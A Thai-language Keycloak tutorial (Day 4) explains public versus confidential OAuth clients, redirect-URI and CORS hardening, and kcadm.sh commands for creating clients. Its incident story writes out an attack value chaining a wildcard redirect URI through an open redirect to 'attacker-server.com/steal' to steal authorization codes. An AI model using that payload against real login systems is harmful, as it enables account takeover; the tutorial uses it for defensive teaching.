1. คำว่า "Client" ใน Keycloak คืออะไร? ทำไมแอปพลิเคชันต้องลงทะเบียนตัวตน?
ใน Day 3 เราเข้าใจแล้วว่า User คือมนุษย์หรือผู้ใช้งาน และ Realm คืออาณาจักรที่จัดเก็บข้อมูล แต่คำถามที่ผู้เริ่มต้นมักสับสนที่สุดคือ: "คำว่า Client ใน Keycloak หมายถึงเครื่องคอมพิวเตอร์ของลูกค้า หรือหมายถึงมนุษย์ที่มาซื้อของกันแน่?"
ในโลกของ IAM และโปรโตคอล OAuth 2.0 / OIDC คำว่า Client ไม่ใช่มนุษย์ (Not an End-User) แต่หมายถึง "ซอฟต์แวร์หรือแอปพลิเคชัน (Application Entity)" ที่ทำหน้าที่เป็นตัวกลางพาผู้ใช้มาล็อกอิน หรือเป็นโปรแกรมที่ต้องการขอ Token ไปเรียกใช้งานระบบอื่น
ลองจินตนาการ: หาก Keycloak ไม่มีการลงทะเบียน Client ใครก็ตามในโลกอินเทอร์เน็ตที่สร้างเว็บฟิชชิ่งปลอมขึ้นมา ก็สามารถสั่งให้ผู้ใช้กด Redirect มาล็อกอินที่ Keycloak ของบริษัทคุณ แล้วสั่งให้ Keycloak ส่ง Authorization Code กลับไปยังเว็บของโจรได้ทันที! การลงทะเบียน Client ใน Keycloak จึงเป็นกระบวนการ "สร้างบัตรประจำตัวแอปพลิเคชันและกำหนดขอบเขตความปลอดภัย (Whitelisting)" เพื่อให้ Keycloak รู้ว่ากำลังคุยกับซอฟต์แวร์ที่บริษัทเป็นเจ้าของจริงๆ หรือไม่
"แอปที่รันบนเครื่องผู้ใช้ โค้ดถูกเปิดเผยได้"
- ตัวอย่าง: Single Page Applications (React, Vue, Angular), Mobile Apps (iOS, Android, Flutter), Desktop Apps
- กฎเหล็ก: ห้ามมี Client Secret เด็ดขาด! (ตั้งค่า Client Authentication = OFF ใน Keycloak) เพราะผู้ใช้สามารถเปิด DevTools ดู Source Code หรือ Decompile ไฟล์ APK/IPA เพื่อขโมย Secret ได้ใน 5 วินาที
- กลไกความปลอดภัย: ต้องใช้ Authorization Code Flow คู่กับ PKCE (S256) เท่านั้น
"แอปที่รันบน Server ส่วนตัว บุคคลภายนอกเข้าไม่ถึง"
- ตัวอย่าง: Backend Web Services (Node.js/Express, Spring Boot, Go, Python/Django, Next.js API Routes)
- กฎเหล็ก: มีการยืนยันตัวตนระดับแอปพลิเคชัน (ตั้งค่า Client Authentication = ON ใน Keycloak) และครอบครอง Client Secret หรือ Private Key JWT
- ประโยชน์: สามารถทำ Machine-to-Machine (Client Credentials Flow) และแลก Token ผ่านช่องทางปิดที่ไม่ผ่านเบราว์เซอร์
📚 ศัพท์เทคนิคและการตั้งค่าความปลอดภัยของ Keycloak Client
ตารางแจกแจงฟิลด์สำคัญในหน้าการตั้งค่า Client บน Keycloak Admin Console:
The Open Bicycle vs. The Armored Diplomatic Limousine
เปรียบเทียบผู้ใช้ (User) เสมือน "เจ้าหน้าที่เอกอัครราชทูต" ที่ต้องการเดินทางไปติดต่องานที่ด่านตรวจกลาง (Keycloak IdP):
• Public Client (เช่น React SPA / Flutter App) เปรียบเสมือน "จักรยานเปิดประทุน (Open Bicycle)"
ที่วิ่งอยู่กลางถนนสาธารณะ ใครเดินผ่านก็มองเห็นทุกสิ่ง ไม่มีตู้เซฟเก็บของลับ หากคุณเอาตราประทับลับ (Client Secret) ไปใส่ไว้ในตะกร้าหน้ารถ โจรข้างทางก็ขโมยไปได้ทันที! ดังนั้นจักรยานจึงต้องใช้ระบบลายนิ้วมือเฉพาะกิจชั่วคราว (PKCE) ในการผ่านด่าน
• Confidential Client (เช่น Node.js / Spring Boot Backend) เปรียบเสมือน "รถลีมูซีนหุ้มเกราะทึบ (Armored Limousine)"
วิ่งอยู่ในอุโมงค์ใต้ดินส่วนตัว มีตู้เซฟรหัสลับที่คนภายนอกมองไม่เห็น จึงสามารถเก็บและยื่นตราประทับลับ (Client Secret) เพื่อยืนยันตัวตนกับด่านตรวจได้อย่างปลอดภัย 100%!
The $2.1M Open Redirect & Wildcard Callback Account Takeover Incident
มูลค่าความเสียหายจากการถูกแฮกบัญชีลูกค้า VIP 1,400 ราย และค่าชดเชยด้านความปลอดภัย
ตั้งค่า Valid Redirect URIs เป็น https://app.corp.th/* ทำให้แฮกเกอร์ฉวยโอกาสเชื่อมต่อ Open Redirect ขโมย Code
ห้ามใช้ Wildcard ใน Redirect URI โดยเด็ดขาด, ระบุ Exact Path เท่านั้น และห้ามใส่ Client Secret ในแอป SPA
สถานการณ์จริง: บริษัท Fintech ผู้ให้บริการกระเป๋าเงินดิจิทัลแห่งหนึ่ง ได้พัฒนา Single Page Application (React) เพื่อให้ลูกค้าเข้าถึงพอร์ตการลงทุน
แต่ในขั้นตอนการลงทะเบียน Client บน Keycloak วิศวกรเกิดความรำคาญที่ต้องมาคอยเพิ่ม URL สำหรับหน้าเพจย่อยต่างๆ จึงตั้งค่าในช่อง Valid Redirect URIs แบบผ่อนปรนเป็น:
https://wallet.fintech.th/*
ผู้โจมตีได้ค้นพบว่า บนเว็บไซต์ของบริษัทมีหน้าเว็บบอร์ดเก่าหน้าหนึ่งที่มีช่องโหว่ Open Redirect คือ
https://wallet.fintech.th/forum/outbound?url=... ที่ยอมรับพารามิเตอร์ URL ปลายทางใดๆ ก็ได้โดยไม่มีการตรวจสอบ
ผู้โจมตีจึงสร้างลิงก์หลอกลวง (Phishing Link) ที่ส่งคำขอ Login ไปยัง Keycloak โดยระบุค่า:
redirect_uri=https://wallet.fintech.th/forum/outbound?url=https://attacker-server.com/steal
เนื่องจาก Keycloak ถูกตั้งค่าแบบ Wildcard (https://wallet.fintech.th/*) Keycloak จึงมองว่า URL นี้ถูกต้องตามกฎ!
เมื่อเหยื่อกรอกรหัสผ่านและผ่าน 2FA บนหน้า Keycloak สำเร็จ Keycloak จึง 302 Redirect พร้อมแนบ code=AUTH_CODE_SECRET ไปยังหน้าเว็บบอร์ด
และหน้าเว็บบอร์ดก็ Forward ค่า Authorization Code ทั้งหมดตรงเข้าเซิร์ฟเวอร์ของแฮกเกอร์ทันที! แฮกเกอร์จึงนำ Code นั้นไปแลก Token แล้วเข้าควบคุมกระเป๋าเงินของเหยื่อได้ทั้งหมด
https://domain/* หรือ * เป็นอันขาด! มาตรฐาน OAuth 2.1 บังคับให้ใช้ Exact String Matching (เช่น https://wallet.fintech.th/callback) เท่านั้น และสำหรับ Web SPA ให้ตั้ง Client Authentication = OFF คู่กับ PKCE เสมอ!"
Anatomy of Client Creation via kcadm.sh CLI
การสร้าง Client สามารถสั่งงานผ่าน Keycloak Admin CLI (kcadm.sh) เพื่อสร้างระบบอัตโนมัติ (DevOps Automation) ได้ทั้ง Public Client และ Confidential Client:
สร้าง Public Client สำหรับ React Single Page Application โดยระบุ Exact Redirect URI และเปิด CORS Web Origins
# 1. เข้าสู่ Container และล็อกอินผ่าน kcadm
docker exec -it keycloak-core /opt/keycloak/bin/kcadm.sh config credentials \
--server http://localhost:8080 --realm master --user superadmin --password AdminSuperSecret2026!
# 2. สร้าง Public Client ชื่อ 'frontend-spa' ใน Realm 'app-dev'
# ข้อสังเกต: publicClient=true (ไม่มี Secret) และระบุ exact redirectUris
docker exec -it keycloak-core /opt/keycloak/bin/kcadm.sh create clients -r app-dev \
-s clientId=frontend-spa \
-s name="Customer React Web SPA" \
-s enabled=true \
-s publicClient=true \
-s standardFlowEnabled=true \
-s directAccessGrantsEnabled=false \
-s 'redirectUris=["http://localhost:3000/callback"]' \
-s 'webOrigins=["http://localhost:3000"]'
# 3. ตรวจสอบข้อมูล Client ที่เพิ่งสร้าง
docker exec -it keycloak-core /opt/keycloak/bin/kcadm.sh get clients -r app-dev -q clientId=frontend-spa --fields id,clientId,publicClient,redirectUris
สร้าง Confidential Client สำหรับ Backend Node.js/Spring Boot ที่มี Client Secret ในตัว พร้อมดึงคีย์ลับออกมาเพื่อนำไปใส่ใน Environment Variables
# 1. สร้าง Confidential Client ชื่อ 'backend-api' (publicClient=false)
docker exec -it keycloak-core /opt/keycloak/bin/kcadm.sh create clients -r app-dev \
-s clientId=backend-api \
-s name="Backend API Service" \
-s enabled=true \
-s publicClient=false \
-s clientAuthenticatorType=client-secret \
-s standardFlowEnabled=true \
-s serviceAccountsEnabled=true \
-s 'redirectUris=["https://api.corp.th/oauth2/callback"]'
# 2. ดึง Internal ID ของ Client
CLIENT_ID_UUID=$(docker exec -it keycloak-core /opt/keycloak/bin/kcadm.sh get clients -r app-dev -q clientId=backend-api --fields id --format csv | tail -n 1 | tr -d '\r')
# 3. ดึง Client Secret ที่ Keycloak สร้างให้โดยอัตโนมัติ
docker exec -it keycloak-core /opt/keycloak/bin/kcadm.sh get clients/$CLIENT_ID_UUID/client-secret -r app-dev
# 4. ทดสอบ regenerate (หมุนเวียน Secret ใหม่)
docker exec -it keycloak-core /opt/keycloak/bin/kcadm.sh create clients/$CLIENT_ID_UUID/client-secret -r app-dev
- ใส่ Wildcard ใน Valid Redirect URIs เช่น
https://myapp.com/*หรือ* - ตั้งแอป SPA เป็น Confidential Client แล้วฝัง
client_secretไว้ในไฟล์.envของ React - ใส่เครื่องหมาย
*ใน Web Origins (CORS) ยอมรับการยิง Request จากทุกโดเมนในโลก - เปิดใช้งาน
Direct Access Grants (ROPC)ทิ้งไว้โดยไม่จำเป็น - ไม่กำหนด Valid Post-Logout Redirect URIs ปล่อยให้ Redirect ไปที่ใดก็ได้
- ระบุ Exact Valid Redirect URIs เช่น
https://app.corp.th/callbackเท่านั้น - SPA และ Mobile ต้องตั้งเป็น Public Client (Client Auth = OFF) คู่กับ PKCE S256 เสมอ
- ระบุ Exact Web Origins เช่น
https://app.corp.thหรือใช้เครื่องหมาย+ - ปิด
Direct Access Grantsและเปิดเฉพาะโฟลว์ที่จำเป็น - กำหนด Valid Post-Logout Redirect URIs ให้ตรงกับหน้า Login ของระบบจริง
Redirect URI Pattern Matcher & CORS Web Origins Sandbox
ทดลองป้อนการตั้งค่า Client บน Keycloak และจำลองคำขอ Login Request จากผู้ใช้ เพื่อดูว่ากลไกการจับคู่ URL และ CORS Preflight ตรวจจับการโจมตีแบบ Real-time อย่างไร:
ยอดเยี่ยม! การจับคู่ Redirect URI เป็นแบบ Exact Match 100% ป้องกันการทำ Open Redirect ได้สมบูรณ์แบบ
"Invalid parameter: redirect_uri" ทันทีและปฏิเสธการพาผู้ใช้ไปหน้าล็อกอิน เพื่อปกป้องไม่ให้แฮกเกอร์ขโมย Authorization Code!
Day 4 Clients Anatomy & Network Boundaries Exam
ครอบคลุม Public vs Confidential Clients, Redirect URI Security, CORS Web Origins พร้อมข้อสอบ Spaced Repetition จาก Day 1, Day 2 และ Day 3
Day 4 Practical Deliverable (ภารกิจประจำวัน)
ก่อนก้าวไปสู่ Day 5 (Service-to-Service Security & Client Credentials Grant) คุณต้องทำภารกิจต่อไปนี้ให้สำเร็จบน Keycloak ของคุณ: